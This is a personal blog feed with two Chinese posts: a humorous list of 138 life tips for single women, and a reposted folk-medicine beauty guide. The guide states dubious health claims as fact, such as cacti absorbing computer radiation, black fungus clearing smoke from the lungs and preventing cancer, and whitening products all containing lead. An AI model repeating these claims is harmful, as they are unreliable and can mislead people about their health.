http://504931347.qzone.qq.com Fri, 27 Nov 2009 21:07:25 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 29 Oct 2009 15:50:44 GMT http://504931347.qzone.qq.com/blog/1256831444 原著 钱海燕

序：有时候，我真怀疑，男人女人怎么可能彼此合得来呢？也许他们真应该住在隔壁，只是偶尔来往一下就好了。BY凯瑟琳 赫本

1，首先，美好的事物不一定非要成双结对，举例说吧：世界上最大的钻石“希望之心”，她就是独一无二的。
2，视爱情为生活奢侈品：有最好，没有也能活。若工作计划与男友约会冲突，取前者————前者不会辜负你，且越老越不会，除非你当三陪。
3，签任何合同之前至少看（特别是那些小字）三遍————最具挑战性的合同是婚约。
4，当然要有感情————如果女人找男人只为解决生计问题，那么卖笑是零售，嫁人算批发。
5，只要你还在犹豫是否要和那个人结婚，那么，先别结。
6，单身女子手袋内必备物品：备用丝袜一双，穿裙子时；迷你手电筒一个，夜归时；防身喷雾一瓶，偏僻处单独行动时————最好不要到偏僻处单独行动；或史密斯 韦森M37珍珠柄手枪一把————如果你有持枪证的话；巧克力或蔬菜饼干一小包，加班时；好牌子护肤霜及自然色唇膏一盒，任何时候；钱包，里面有卡，有钱，任何时候。
7，为了你的身心健康可养一只狗狗，为了狗狗的身心健康，则不要养————每天被锁在公寓超过八小时，它太孤独了也会得抑郁症呢。（不过据说，最好的宠物是男人。）
8，坚持运动，每天吃维生素丸与钙片。如果你有一小笔闲钱可以买条迪奥晚礼服也可割个双眼皮，我的建议是：都不要。去报名参加武术瑜伽或是跆拳道吧。
9，每月记帐。林黛玉大概是不记帐的，所以很快连燕窝也吃不起了；宝钗则一定会记，最后成功当上了二奶奶。你看，财富观即人生观。
10，人越少则冰箱越要大，精神空虚，美食填充；或深夜打开冰箱居然已无龙虾香槟鱼子酱，更可鞭策你明朝勤力工作以便早日当上副总裁。
11，迟到的女人没前途。若常常需要早起开会，请备高分贝闹钟一个————睡得特深的备三个。
12，谁说的，去酒吧的男人多是找刺激的，去酒吧的女人多是受过刺激的，所以，酒吧里认识的异性就不必留电话了吧？
13，若连续六个月每月置衫超过十件，考虑买房。伍尔芙曾说女人需要每年五百英镑（考虑到社会进步和通货膨胀现在至少得五千了）和一间属于自已的房子（至少三房两厅带露台若有可能背山面海）。难道你准备下辈子住在一条波希米亚风格的裙子或名牌旅行箱里吗？
14，最好不要让初次约会的异性知道你住所；若对方坚持送，那么，到楼下即可————相信我，他不“顺便上去喝杯茶”也不会立马渴死。
15，自已开车。车子比男人好的地方是：它不会自已跑掉————当然它可能被偷，但你可以买保险，甚至连航天飞机都可以买保险了，但男人并不能买保险。
16，买保险。买一只小的保险柜搁首饰。你知道，过了二十五岁就宁可不戴首饰也不要戴假首饰了。
17，如果没车，不要买丝绒，缎面，刺绣，十公分高跟或白色皮鞋。我见过年轻女孩拖着晚礼服式亮纱裙子挤公车，感觉太。。。。那个了。
18，办公室备一件厚外套，一柄伞————白素贞若当初自备雨伞，之后就不必永镇雷锋塔了。
19，友谊是用来锦上添花的————朋友的恭维就像香水：可以闻，但不要喝。
20，如果不幸你爱的男子有另一个女人，无论是老婆，未婚妻或女朋友，请不要动念和她“见面谈一下”，别犯贱————立刻走人！
21，永远永远不要问这个问题：“为什么不爱我？”
22，永远永远不要相信男人这种话：1.我会离婚的；2.我当时喝多了；3.我只想抱抱你——我只把它放在外面。。。。。
23，男人对自已的好色就像律师对罪犯：明知有罪，也要辩护。。。。。你知道就是啦。
24，人生想通了不过就是：饥来餐饭倦来眠。所以，世界上没有任何人任何事会重要到你过了半夜十二点还苦苦思索辗转不睡。
25，每个女人心中都有一面神奇的魔镜，它的名字————不，不叫自信，它叫自欺欺人。
26，也可以去相亲，但事先一定打听清楚对方的尊姓大名——否则连续三个周末梳妆打扮齐整，跟着不同的红娘羞答答去见同个无聊男子，那实在太富戏剧性了。
27，名誉这件事是有的：若没有五位数（美金）出场费，不要参加“玫瑰男女”之类低级电视节目。
28，记住，流言造成伤害至少需要两个人：你的敌人诋毁你，你的朋友转告你。
29，任何应酬都不要喝多————头天晚上吐的东西次日早上还要自已收拾，也许会吐第二次。
30，添一套健身器材可能不比生一次感冒更贵；抽屉里放好必备药品；记住急救电话。
31，男人就像避孕药：没有他不安全，有了他又有副作用。。。。人生诸多意外：即使你“真的”没男友，床头备一只安全套也不多余。
32，聪明女人是快乐的，只有自以为聪明的才常常烦恼。
33，除了成熟，没有什么能治疗青春痘。
34，想念了三个月的人还没来。。。。。听我的，别想了。
35，工作，卖力就行了，不必卖命。
36，男人送花是因为：一，可以让你认为他爱你；二，可以省下真正昂贵的礼物。
37，事业有成兼会补衣绣花的女子不只双倍美丽。所以，学几个拿手菜吧。
38，随时享受生活等于延长生命————周末即使一个人也要炖一锅好汤。
39，已结婚的前男友打电话来问最近好不好————当然说好。
40，过去，童话故事是以“在很久很久以前”开头的，现在，童话故事是以“如果我还没有结婚而遇到你”开头的。姑娘，你已经过了听童话的年龄了。
41，若确有需要，可（在办公室之处的地方）上网给自已订购一个仿真物品，但，注意卫生，防止感染塑胶细菌。
42，和一个人有亲密关系，等于和历史上所有与他有亲密关系的人有亲密关系————同居前请他查体。
43，想的时候，想想再说。
44，不想的时候，直接说不。
45，如Bianca Jagger所说：“若没有感情，不如去打网球”——反正也是出一身汗。
46，爱你的工作，不要爱上你上司。
47，不要动念做单亲妈妈————孩子不需要父亲，但你需要：一个照顾孩子的人，非常需要有人照顾。
48，不，不，没有人会比你更爱你。
49，高处不胜寒？别听人胡说！人当然要往高处去。
50，其实，人生即使有伴也终归会寂寞。。。。不如及早储蓄金钱培养兴趣，中年之后，环游世界，种花养鱼。
51，千万不要和那种老是觉得你有点胖的女孩交朋友。
52，谈恋爱就像打麻将：不认真没乐趣，太认真会伤心——培养点游戏精神嘛 。
53，不必对新男友坦白情史，如果爱他，尤其不要。
54，切记，与任何人，在任何情况下都不要拍摄男欢女爱之镜头————肉麻点的照片都可免则免：也许你某天会出名哈 ！
55，能用钱买到的东西都是便宜的————尽早养成自已付账的习惯。
56，结婚须慎重，但离异也没什么好羞愧的，婚姻就像鞋子。。。。谁一辈子就穿一双鞋？
57，家具什物沉实朴素方显品味，若此生不住凡尔赛宫，莫用仿巴罗克式装修；若无工程天才及六个月搬一次家的嗜好，别买宜家之类需要自已动手的简陋配置————名词解释：锤子，一种专门用来砸扁手指的工具。
58，女人要会说不————中年发迹而离婚的男人求婚，说不。
59，说不清晰肯定————曾经背叛过你的男人想回头，说不。
60，不的意思是不————你曾经背叛的男人请你回头，说不，
61，情场如战场，实在打不过，那就快点跑————千万不要“一夫当关，万夫莫开"。
62，你妈妈一定告诉过你了：回家过夜，慎交男友。
63，男人很重要：他们最重要的功能是产生精子。。。。但我们现在有了精子银行。
64，独居的好处之一是：你不必在一个很久以前爱过的人的臂弯醒来；之二，也不必在醒来去上厕所时每次都要切记先把马桶圈放下。
65，过分追求时尚，其实就是老土。
66，基本上，良好的两性关系基于距离，谎言和幻想之上。
67，出远门带好电话，穿双平底鞋————你知道男人知道：穿平底鞋依然好看的女人，才是真正好看。
68，无论蕾丝内衣还是工作报告，简洁都是最好的。
69，浪漫——就像一袭美丽的晚礼服，但你不能一天到晚都穿着它啊。
70，嫁大款就像抢银行：收益很大，但后患无穷。若能不试，还是不试为好。
71，多角恋其实一点也不复杂：你哪个都不爱。
72，女人有改变主意的权利————对一个错误的诺言，你要有勇气违背它。
73，放心，失恋就像感冒，无论是否吃药，半个月都会好的。
74，培养些小小的好习惯，比如早睡，比如饭后漱口，比如喝清茶，比如工间操————好习惯如同零钱罐，每天放一点，年终会惊喜。
75，骑驴找马特别耽误找马————骑自行车吧。
76，一个是否可靠，全看你用什么样的手段控制他。。。但问题是，可以完全控制的男人，往往是不值得控制的。
77，如果每次都分摊付账，友谊会长久一些。
78，男人总是向不把他看在眼里的女人献殷勤————命运也是。
79，想满意，自已做————菩萨合掌念菩萨，求人不如求已。
80，有储蓄才有尊严————学习理财，即使你的专业是动物考古或天文物理。
81，不要借钱，若一定要借，借银行。
82，不要借给人钱，若一定要借，别打算他还：当遣散费好了。
83，别用男朋友的生日做密码————常常换，很烦的。
84，换男朋友的时候，记得换防盗门。
85，有个简单的准则：会让你等的男人，大抵不爱你。
86，世界上有三个秘密是多年以来人们所不知道的：可口可乐的配方，英国女王的财富及好男人到哪里去了。
87，床头放一本好书，而不是袖珍电视————就是看电视也没关系，至少你不用被迫整夜都看体育台了。
88，内衣和床上用品一定要品质好的————男人也是一种床上用品；男人不会时时在，所以热水袋和电毯子才是生活必需品——另外，你会很快发现，一个人换被罩其实也不是那么麻烦。。。。。
89，每天大笑几次对身体好。若没人给你讲笑话，看迪斯尼动画。
90，找一项有兴趣的体育运动————做爱不算，坚持。
91，心情失落时不要淋雨，听慢歌，看悲情电影，泡在浴缸内喝红酒————叫个女朋友去购物，旅游，美容，吃大餐。
92，两个原则：一，不要纠缠于小事；二，任何事都是小事。
93，不要常常计算损失————那是保险公司和你对手的事。
94，“每个成功男人的背后都有一个默默支持的女人”————记住这句话吗？好，现在忘了它。
95，若你女友的丈夫是律师，医生，经纪人，出版商，电脑高手。。。。。不妨请他给自已参考买楼，保健，投资，出书，装软件。。。。。但切记每次都均邀贤伉俪同往。
96，世界上最快的传播手段倒序排列：报纸，电话，电视，网络，告诉女人。
97，你穿什么，你就是什么————忘掉那些豹纹，镂空，透纱，尼龙锻后背带长拉锁的旗袍和镶大量水钻蝴蝶结的裙子吧。
98，不，不论多昂贵的化妆品，除了清洁防晒保湿都不可能让你更白，或更年轻，或广告上常常暗示的那样：更吸引异性。
99，如果一定要说谎————找支笔记下来。
100，若无心黑手辣杀伐决断之天才，不要给人做情妇。
101，永远不要在想让你哭的人面前哭。
102，女人有左右大脑，男人有左右睾丸。
103，经济条件很重要，但你也知道那句话：有翅膀的不一定是天使，他可能是个鸟人。
104，相信大家的智商————不要试图装扮得比你实际年龄小。
105，时代不同了，男女都一样：接保险丝，修马桶，换轮胎，装杀毒软件其实并不比生孩子更难。
106，既然上帝给了你大脑和子宫，你最好两样都用上————记得每年做妇科检查。
107，任何东西都不能用健康去交换。
108，重要文件要备份，钥匙一定要在父母或好友家多存一套。
109，若你的房间越来越雪白素净，访客越来越少，桌面地板不允许有一丝灰尘，听到孩子的吵闹会心烦，每天洗手超过20次————去看心理医生。
110，即使你真的不喜欢小孩子，也不要说出来吧。
111，如果你常常自信地认为勾引任何异性都是件容易的事，那————恕我直言，你可能有点太容易被勾引了。
112，嫉妒会要人命————要是你没了命，你就没有了你生命中很重要的一部分。
113，工作与生活分开比较安全：不要让私人朋友常到办公场所找你。
114，要是你常常弄不清一个男人到底是什么意思————让我告诉你——那就是他对你根本没意思 。
115，男人有Windows型，他有很多缺点，但没他你就不能活；有Excel型，人们说他多才多艺，但你只能用他干最基本的事；有E—mail型，他说的十句话有九句是废话；有鼠标型，你得又拉又拽他才干活；有服务器型，你需要他的时候他多半在忙碌，唉。。。。。。。。
116，爱不是做爱————爱是，想和他一起睡觉。
117，最不可爱的男人之一就是那种，从不肯在开玩笑和吵嘴时让你占上风的。
118，男人开什么车并不重要，就像————骑白马的可能不是王子，而是唐僧。
119，爱情之舟在风平浪静时可以承载两个人，但波涛汹涌时往往只能负担一个了————你得学会游泳。
120，以爱情之名让一条鱼忘记游泳————对现代女性而言，《海的女儿》这种童话居心叵测且严重过时。
121，你看，男人从不开口向人请教如何才能让婚姻和事业两全其美的问题。
122，不要爱上老男人，除非————他已经非常非常老了。
123，女儿就像小棉袄，真丝衬衣，开司米毛衫，羽绒背心加外套————树欲静而风不止，若再不开始孝敬父母可能就太迟了。
124，见色忘友说的是男人，女人对女人一定要忠诚。
125，矜持如同胸衣，把女人托得高贵，但若故意显露，则会流于庸俗。
126，男人在戏院，酒会，地铁上会把较好的座位留给女人，在办公室可不会。
127，保持身材之必要：A.地球资源紧张，可以少占空间；B.被情敌追打时，逃跑比较快；C.女人在男人心目中的分量，跟浴室磅秤上的成反比。
128，什么是成功的女人？她会说：长大还是好的。
129，再爱他，也不必为他去隆胸。
130，关于购物我有两句话说：一，和挑男人一样，一见钟情比左右盘算其实要合适得多；二，便宜货是买不起的。
131，我不反对你看时尚杂志，但我反对你看了以后果然变蠢。
132，别逼他去当盖世英雄————肯一边聊天一边帮你洗碗铺床倒垃圾就是了。
133，若有机会上学，去上学吧。
134，孤独————至少是件深奥的事，只有思考的人才会遇到。
135，Sophie Tucker说：女人从出生到18岁，需要好的家庭；18到35岁，需要好的容貌；35到55岁，需要好的个性；55岁以后，需要好多钞票。
136，当然应该痴情等待那个对先生的最终出现————但在漫长无聊的等待中，我也不反对你先和不太对的先生们聊会儿天。
137，要知道，一个女人在25岁还没遇到那个“合适的男人”其实是一件极幸运的事。
138，记住，你只活一辈子，而现在，正是你一生中最好的时光。 ]]> http://504931347.qzone.qq.com/blog/1256831444#comment 134218264 Thu, 29 Oct 2009 15:50:44 GMT http://504931347.qzone.qq.com/blog/1256831444 http://504931347.qzone.qq.com/blog/1256829974 一个学中医的女生写出的保养大法！！~~教你怎么解决头发油、毛孔问题、美白、牙齿、细纹、太全了、、大家们看了都会有好处的、、、实在是好东东、、、怕弄丢了、、、就转到这里来、、、、　　　　
　　　　如果你问“怎么我的头发那么油啊？”，那是因为你肝火太旺了，身体里内脏不能消化油脂，所以就把它排到脸上和头上了”，你还是会问，“那怎么办啊？”，我就会说“每天晚上用滚烫的热水泡脚泡上半个小时，慢慢就会好了”注：水不会一直热，所以要不断的注入热水，用冷水和温水泡都没有这么好的效果的、、、、
　　　　
　　　　我认为泡到出汗效果最好了，其实姐妹们如果满头满脸的出油的话，都可以通过这个方法调理肝脏，油慢慢就会少了。
　　　　
朋友因为出油的原因毛孔也非常粗大，我就会用盐给他按摩脸，出油的皮肤质地都比较粗糙和硬，所以不用担心盐太粗。如果实在嫌盐不好的话，可以用盐加精油。特别是鼻子周围仔细的按摩，洗干净之后，是不是毛孔特别的小啊？ 注：这里提到的盐可以是食用盐，因为如果你买到的浴盐不够好，还会刺激皮肤，反而不如便宜又好用的食用盐。
　　　　
　　　　油脂球一定不能挤和抠，用按摩的方法最好了。去油的同时还能缩小毛孔和去角质，最后洗脸的时候，最好用冷热水交替洗，其实我强烈建议所有的女人都这样洗脸！热水肯定是不能单独用来洗脸的，温水和冷水还行，冷热水交替最好。
　　　　
　　　　我是用脸盆装热水，洗脸池对着水龙头直接用冷水，就这样交替洗，很方便，但洗出来小脸白里透红，粉粉嫩嫩的，不但洗得非常干净，而且毛孔也缩小到不能再小了！
　　　　
　　　　同时，冷热水交替对黑眼圈也非常有效。因为冷水洗脸虽然很好，但刺激脸部，会使黑眼圈加重！
注：很多妹妹说道冷热水洗脸会产生红血丝，我这里提到的热水跟上面说要泡脚用的热水完全是不同概念的，这里洗脸的热水只要温热的就可以了哦、、这样就避免红血丝的产生咯、、、、
　　　　
　　　　同事买了一枚半克拉的钻戒，当她向我展示戒指时，我的感受只是“天呐，好糙好黑的手指”。钻石确实很大很美，装饰着美丽的你。但如果手不好好保养，那就变成反衬喽。
　　　　
　　　　关于双手和脚的皮肤保养，最实用的DIY手膜就是红糖和蜂蜜混合后不停的按摩，一般的建议都是，要随身带护手霜，只要手沾到水就要涂一层。这种方法真的很麻烦！
　　　　
　　　　其实只要大家好好的利用夜晚，白天就不用麻烦了。
　　　　
　　　　准备一副宽松的手套，每天晚上睡觉前，就用橄榄油 美加净混合起来，厚厚的涂在手上，戴上手套睡觉，坚持一段时间以后，双手就会越来越嫩，小细纹也都淡化了。
　　　　
　　　　如果手指关节粗大，就一定要按摩。用大拇指和食指逐个按摩每个手指头，最关键的是按摩手指的两侧，从根部到指尖，一个一个的按摩，这个按摩的方法可以使得关节粗大的问题得到解决，手指慢慢的就会粗细均匀了。
　　　　
　　　　脚底的死皮是一定要磨的。大S之所以不推荐刨刀样的磨脚板，是因为她们艺人的脚经过长时间的保养，已经很嫩，刨刀就容易流血了。而刚开始护脚，刨刀能够快速的磨去死皮，开水先泡脚，然后磨，磨完之后涂厚厚的橄榄油 美加净，穿上厚棉袜。磨脚是每周一次，而涂霜和穿袜子就是要每天都要。双脚就会越来越嫩！真的是非常嫩和光滑，一点瑕疵都不会有。
　　　　
　　　　有的女生脚后跟会开裂，那就要先用膏药贴，贴足三天之后，再用橄榄油 美加净厚厚的敷，等到裂开的口子消失了再开始磨脚。
　　　　
　　　　我推荐的是美加净的珍珠银耳营养霜，超市有卖，九毛钱一包，保湿效果很好。它是上海家化的老牌产品了，这个厂同时还生产百草集，对于他家的精油和头发护理系列，确实要赞一个！至于面部护理系列，那就仁者见仁了。
　　　
　　　　
　　　　加夜班非常伤身体,如果每天连睡眠都保证不了，还怎么谈保养呢.你能不能早上早起去上班？你是不是在外企？可以早去干活，晚上早点走吗？因为前半夜的睡眠非常重要，后半夜就相对来说可以浪费。你可以五六点就起床，去上班，晚上早点回家睡觉。
　　　　
　　　　如果不行的话，那真是可怜了！那你就每天都吃阿胶，红枣和桂圆来代替肝脏补血吧。这三样是补血圣品，桂圆少吃，一天三粒，红枣10-20粒，阿胶早晚都要吃，一天两遍。
　　　　
　　　　电脑有辐射，所以samantha你的隔离霜一定要用，半天补一次，不要早上涂一遍就算，中午补，晚上加班之前再补，不能怕浪费。还有绿茶要每天当水喝，外企喜欢喝咖啡，你就喝绿茶，加点当归和黄芪，补血补气，一定要大量的喝水。眼睛一定会不舒服吧？再加枸杞和白菊花，记得是白色的不是黄色的。不要担心这样混合茶会不会发生反应，嘻嘻，向你保证，不会滴！
　　　　
　　　　在电脑前养一两棵仙人球，替你吸收辐射。中途站起来活动活动，深呼吸，不要一直坐着。离公司的打印机远一点，那个的辐射更厉害！如果公司是铺地毯的话，那肺也要受残害了。买点杏仁或者喝杏仁露也行，养养肺。
　　　　
　　　　长期对着电脑，肝脏也很疲劳，所以心情一定要尽量舒畅。我再教你一个小方法，就是每天睡前使劲捏捏腋窝，大臂还有肋骨两侧，使劲的捏，这是通过疏通经络，来防止乳房的疾病，并且能让你心情舒畅，心里不觉得压得慌。
　　　　
　　　　几乎所有的女人都对脸上的这点田地特别的关注，美白其实谁都会，用一些美白产品都可以拥有均匀的肤色。不过美白产品还是要少用，美白除了百草集它家是白芷，茯苓等中药配方，都肯定要含铅，对皮肤还是有伤害。使用美白产品并配合正确的洗脸之后，很快就会白回来。一旦白了就要换保湿的面霜。
　　　　
　　　　美白的同时配合喝牛奶和薏仁粉，整天喝柠檬水可以加快美白。
　　　　
　　　　美白还有一个小秘方，就是用白醋做主水，加如五分之一的甘油或者橄榄油，如果嫌刺激的话，可以加纯净水在里面。坚持每天涂两遍，一个星期就能看到效果。
　　　　
　　　　建议大家在使用护肤品时，要注意看自己的皮肤是不是产生了依赖？比如说，不好的护肤品，一旦你不用，那一整天的皮肤都会让你非常难受，那这个产品就不要再用了。好的产品是就算偶尔有一天不用，皮肤还是能保持很好，那就是好东西！
　　　　
　　　　如果你的工作是脑力劳动用脑过度，那额头是无法避免要比眉毛以下部分要黑，这个真的是没有办法。
　　　　
　　　　白白的之后就是要防止细纹的产生。方法就是要保湿保湿加强保湿！怎么样保湿都不过分！别人都会说，“天呐，我的眼睛下面有细纹了！”“那就保湿啊！”
　　　　
　　　　对！产生细纹的原因就是保湿的力度不够。这个时候就要用面膜或者眼膜。对于干性皮肤，橄榄油可以做保湿面膜，做加强保养。中性和油性可以每天晚上用喝剩一点酸奶。面膜做频繁了，自然细纹就LEAVE啦！
　　　　
　　　　这里介绍一个方，就是在酸奶里面加入酵母粉，发酵，隔天用它敷脸，脸上的粗糙小凸起立刻就消失，并且皮肤能变白变亮。
　　　　
　　　　油性皮肤更要加强保湿，补充水分，不然肤质粗糙得更快。
　　　　
　　　　保湿的一个重要一环就是爽肤水，一定要配合化妆棉使用！洗完脸之后不要用毛巾擦，就用化妆棉擦干，然后用水泡湿了的化妆棉粘取爽肤水使用。
　　　　
　　　　按摩的方法是额头从中间向两边打圈圈，眼睛下面的皮肤是从眼角向太阳穴拉，鼻子从上向下，面颊我们之前讲过了，嘴巴下面是从中间向嘴角向上提。
　　　　
　　　　爽肤水一定要多敷，不要怕浪费，多敷几遍。保湿做好了，就不用怕细纹。
　　　　
　　　很多人都有口腔异味的问题，不过有的人是短期，有的人是长期。
　　　　我的好朋友是长期的口臭，同时她还有刷牙出血的症状，后来因为一直只要刷牙就出血，后来去口腔医院看，有牙菌斑，同时有非常多的牙龈结石，还有一颗大龋齿，后来拔牙，洗牙，开刀除结石，来回去医院折腾了好几次，牙齿健康了，口臭也消失了。真是意外的收获。长期的便秘症状，得不到解决，身体里的有害物质不能及时排出体外，容易产生，腹胀，容易生气，嘴巴里有异味，没有食欲等等现象。这主要是由于，平时吃得多，而且吃粗粮太少，工作忙碌，心理压力大，精神过于兴奋或者压抑，作息时间不规律，就会便秘。
　　　　
　　　　便秘了，早饭就一定要吃燕麦片，白天多喝水，香蕉和苹果也要多吃，心情保持放松舒畅，按照前面讲过的方法按摩，问题就解决了。
茶叶和酸奶，包括芹菜，柠檬水都可以帮助排出身体里的毒素。大量补充维生素的同时，抑制细菌生长的环境，当然如果吃维生素药片的话，里面的添加剂反而会造成消化功能紊乱。
中医上认为口臭是胃的原因，有虚火，而肠胃功能不好，主要原因是心理因素造成，所以不建议吃降火的东西，而是从心理上进行调节，使紊乱的肠胃恢复正常。同时要提高身体免疫力，增强肾脏功能。脾虚的表现是，食欲不振，神倦乏力，严重的情况会内脏下垂，脱肛，子宫下垂，脾脏是我们每个男人女人三十岁之前都非常重视的脏器，它事关食物的消化和吸收，所以，不要吃乱七八糟的药，伤害它。肺虚的表现是，少气懒言，容易出虚汗，肾气虚则腰酸，三者合在一起被称为气虚。
　　　　
　　　　气虚脸颊就下垂，越虚垂得越厉害，直到五官内脏都下垂，人也就丑了。气虚是所有虚症中，最容易补充的身体能量。少说话，少提重物，多注意休息睡眠，都能补充元气。因为气能产生血，所以补气就能补血。山药是非常好的东西，一个身体不大好的朋友去看中医，据说还是当地最有名的，回来除了带一堆中药之外，就带了这个偏方：每天喝山药炖冰糖。价值四百块的偏方。山药补气健脾胃，养阴益肺，补肾固精，把脾脏，肺和肾脏都补了，确实值这个钱了！阴虚亏损的人容易咳嗽，可以用它煮汤当水喝，可以治愈虚劳咳嗽的毛病。山药因为益肺，而“肺主皮毛”，所以山药可以滋润皮肤。虚弱羸瘦，皮肤干燥，记忆力减退，过劳和疾病后体虚，都要多吃山药，可以强壮身体，抵抗衰老。但应该注意到的是，它滋阴的同时助湿邪，所以我在吃完它之后，肯定要吃祛湿的东东，像薏仁，茯苓。我不加冰糖，直接水煮山药，把山药打成浓浆，然后煮开就当水喝，不喝多，喝完之后，再喝水我就加薏仁粉。
　　　大米也是补气的，吃惊吗？女人一定要每天都吃米饭，脾胃健康就靠它呢！米都补脾，但五谷中它补脾的效果最好，中气不足，疲倦乏力就要吃它了，像脾胃虚寒，心烦口渴，就喝大米稀饭就行啦。中医书上说“稀饭为世间第一补人之物”。所以就算你在减肥，也一定每天至少吃一碗大米饭，不然瘦下来，脸颊胸部都下来了。
　　　好东西，还有大枣，蜂蜜等。皆补脾，益虚损，令人好颜色。
　　　抗衰老（一）
　　　　如果看贴的你已经超过35岁，这篇就是专门为你所写。
　　　　很可能超过30岁的女性，已经会有中医上称为“损容性”面部特征了。比如说皱纹，斑点，黑眼圈，眼袋，法令纹，脸颊下垂，皮肤粗糙等等岁月的痕迹。包括身材的彻底变形等等。一句话，就是现在的你已经基本上向中性人过渡了，女人味在渐渐的离你而去。你甚至基本上想不起来自己还是个女人。只有在买衣服，去理发店的时候，释放歇斯底里想挽回的绝望。看到一句话，很适合这里，“美的关键在于心态”。特别是超过28岁，脸上写的全是你的心。心里妒忌别人，重视利益大于一切，欺上昧下，等等所有这些心理，都一定会以世上最快的速度让你衰老变丑！而自卑，消极，懒惰也是加速衰老的元勋。张曼玉说她维持年轻的秘诀就是“心里永远都有梦想”。你要时刻提醒自己，你是个女人。当你拖地累得满头大汗，提很重的东西时，建议你，量力而行。我拖地的时间男朋友可以把整个厨房从屋顶到地面刷洗的干干净净。你把自己当男人使，还想做女人？ 这并不是一个美好的社会，心里有了沙子，有本事的女人可以把沙子养成珍珠，而大部分是要释放的。过度的忍耐也会加速衰老，心理的衰老更可怕，对于维持家庭幸福也没有好处。你完全可以充满自信的把不满全都说出来，如果他连这个都提供不给你，那他的作用是什么？两个人之间花钱肯定是不能你省给他花，要不就两个都节省，要不就你花他省，如果是你省他花，那你的他基本上很有问题。
抗衰老（二）
　　　　面部皱纹一是因为平时表情比较丰富,或者经常用手托着脸等不好的动作，二是因为心事很重，时间长了心情得不到改善，就出现皱纹了，三是酸性体质，也就是体质不大好；四是没有及时给予皮肤充分的保湿。
　　　按摩很重要啊！自己要有耐心的按摩，用之前介绍祛皱纹的手法，脸上到处都仔仔细细的按摩，轻轻的，可以每天都按，只要坚持就一定可以消除皱纹。按摩完之后一定要加强保湿，多使用保湿水，保湿面膜，一切都要很保湿。推荐牛尔玫瑰保湿晚安睡膜，50块钱，保湿效果很赞！又耐用，一瓶不知道什么时候才能用完。而且还是天然配方，我很佩服牛老师！美中不足的缺憾就是他有一次说“上海人到现在（2007年）才知道喝银耳汤，真的很落后”，当时就把我气倒了。不提了不提了，人无完人。
　　　　眼袋和黑眼圈的方法之前都介绍过，很有效。祛斑的方法之前也有，不过比较慢，不能着急。法令纹之前也介绍过方法，祛除的效果很明显。脸颊肯定会有下垂或松弛或者凹陷，多吃米饭早睡觉，一定要补血。
　　　　眼睛很疲劳，就补肝肾，多休息，眼球多转转圈，头发又干又粗糙，那就多做头发护理，多吃黑芝麻和海带，不要烫发染发，头发就不那么老气了。
　　　脸色发黄，如果是非体质因素，就用绿茶水敷脸；皮肤有疙瘩，就用之前介绍的酸奶酵母面膜；身体的皮肤肯定是越来越粗，坚持用美白保湿的甘油加白醋，身体光滑又白嫩；到了这个年纪，产品是一定要认真使用了。 一般脸部皮肤会越来越薄，但越来越硬，所以感觉很沧桑。从体质改变，皮肤就会越来越嫩，只要皮肤嫩了，就会显年轻。而这个是产品做不到的。其实之前所有脸上衰老问题，除了保湿之外，产品都无法解决。抗衰老（三）
　　　检查一下，你的生活满足以下条件吗？每天都早睡早起，最好九点就躺着；每天早晚都要吃水果；按时认真吃三餐，一定吃大米饭；心情安宁；隔天锻炼；每天中午都午休一个小时。其实大多数人这些基本的都不能保证。
　　　　身材变形是身体内脏衰老，血液老化，毒素堆积的一个信号。健康的身体，就应该有美丽的外表。酸性的体质必然对应一个不完美的外表。肝肾脏的护理之前都介绍过，脾胃的护理关键在心情，五脏六腑都是我们运转的关键零件，发胖了零件就松了，重新拧紧了，机器就好了。血液浓稠了，机器就转不动了，还伤害机器。毒素太多了，机器就容易变形。
　　　　
　　　　只要从今天开始，你认真的对待你的脸部皮肤，花时间照顾她，有规律的生活，重视你的睡眠和心情，健康的饮食，爱惜你的身体内脏，你的状态一定会越来越好。 补气和补血是相辅相成的两个食补步骤。单纯补气而不补血，就像烧得很旺的炉子上放了一个空锅，补血就是在锅里放入美味。补气的食物之前讲过了，我还是要强调最重要的米饭，其它的要注意多吃土豆，红薯/地瓜，红枣和蜂蜜。香菇虽然也很好，但有皮肤病的要注意少吃，不要空腹吃。
　　　　补血就一定要吃阿胶啊，没理由！我妈妈坚持吃了那么多年，由我爸制作，加足了爱心在里面！以前的阿胶还没有打粉的说法，都是我爸用捣大蒜的东西捣成碎块，然后炒黑芝麻，炒熟了再用擀面杖辗成末，然后再炒核桃，剁碎，手续比现在复杂！折腾好几个晚上才能做好。
冬天吃效果最好。补血的同时滋补阴虚，消除内热，补肺虚，含有大量的胶原蛋白，因为它是血肉有情之物，滋补效果更明显。脸色不好看，就要靠它了。不过建议除了以上两味之外不要再多加东西，顶多再加味桂圆足够了。你加那么多好东西在里面，那还不如直接吃十全大补丸算了，还要阿胶干吗？谁主谁辅还是要分清楚。
　　　　最好的吃法是用黄酒浸泡，黄酒温胃，而阿胶质黏腻，两个正好相助吸收。补血的同时建议多吃甘蔗，胡萝卜，菠菜，桂圆和豆浆，都是补铁的食物。不推荐红糖，过甜伤脾脏，脾虚则面色发黑。
　　　　要纠正一个观念，不能单独靠某一味食物补身体，饮食要全面，比如你现在已经知道，补血和补气的食物了，那这两种都要常吃，单独吃效果肯定不会明显，这个是肯定的。
　　　　隆重介绍两个要经常吃的好东西！银耳和黑木耳，古时候都是皇家的营养品。黑白木耳的营养丰富，成份大致相近，都含有丰富的胶质。胶质对于女人很重要！
　　　　黑木耳蛋白质含量与肉相同，铁的含量是鱼肉的70倍，是菠菜的20倍，是猪肝的7倍，所以黑木耳是一味重要的补血食物哦!现在专门把它们俩挑出来讲，是因为它和白木耳具有太多对女人好的东西了。现在的女人喜欢在外面吃饭，而且口味都很重，胆固醇等脂肪含量很容易就高了，血液中有害脂肪含量一旦高，皮肤和身体状态就不会好，老化得也快，皱纹也多，血液的质量对于美容来说太重要！
　　　黑木耳能够阻止有害脂肪在血液里的停留，它最大的好处就是从吃进身体里开始，就从气管开始，从上到下的，包括肺，胃，肠道，血液，身体里的灰尘，二手烟灰，不好的异物，环境污染物，全都能带出体外。身体里面也能洗澡。
　　　　黑白木耳有很强抗癌功能，并能提高肝脏的解毒能力。
　　　　银耳要买黄色的不要白色的，滋润效果一流！润燥，润肺，和血，阴虚火旺体质就要指望它了！肺健康了，皮肤自然娇嫩。
　　　　 补阴的食物除了梨，甘蔗，黑芝麻，豆浆，银耳，百合，这些偏素的之外，荤菜推荐鸭子，不光滋阴清热，还有利水的功能，夏天吃它可以防止妇科炎症的发生。太多的疾病都是因为体内废水到处乱跑，所以多吃吃意仁没坏处。
